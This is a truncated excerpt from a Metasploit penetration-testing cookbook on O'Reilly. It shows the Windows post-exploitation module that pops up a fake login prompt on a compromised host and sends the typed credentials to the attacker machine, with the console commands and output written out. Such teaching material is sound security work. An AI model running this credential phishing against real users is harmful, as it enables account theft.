How to do it...

To harvest credentials, we will use the Windows Gather User Credentials post-exploitation module with which we are able to perform a phishing attack on the target by popping up a login prompt.

  1. When the user types his/her credentials into the login prompt, they will be sent to our attacker machine:
msf > use post/windows/gather/phish_windows_credentialsmsf post(phish_windows_credentials) > set SESSION 1SESSION => 1msf post(phish_windows_credentials) > run[+] PowerShell is installed.[*] Starting the popup script. Waiting on the user to fill in his credentials...[+] #< CLIXML
  1. On the target machine, we should see the login prompt, waiting for the user to fill in his/her credentials:
  1. When the user fills in the login prompt, ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.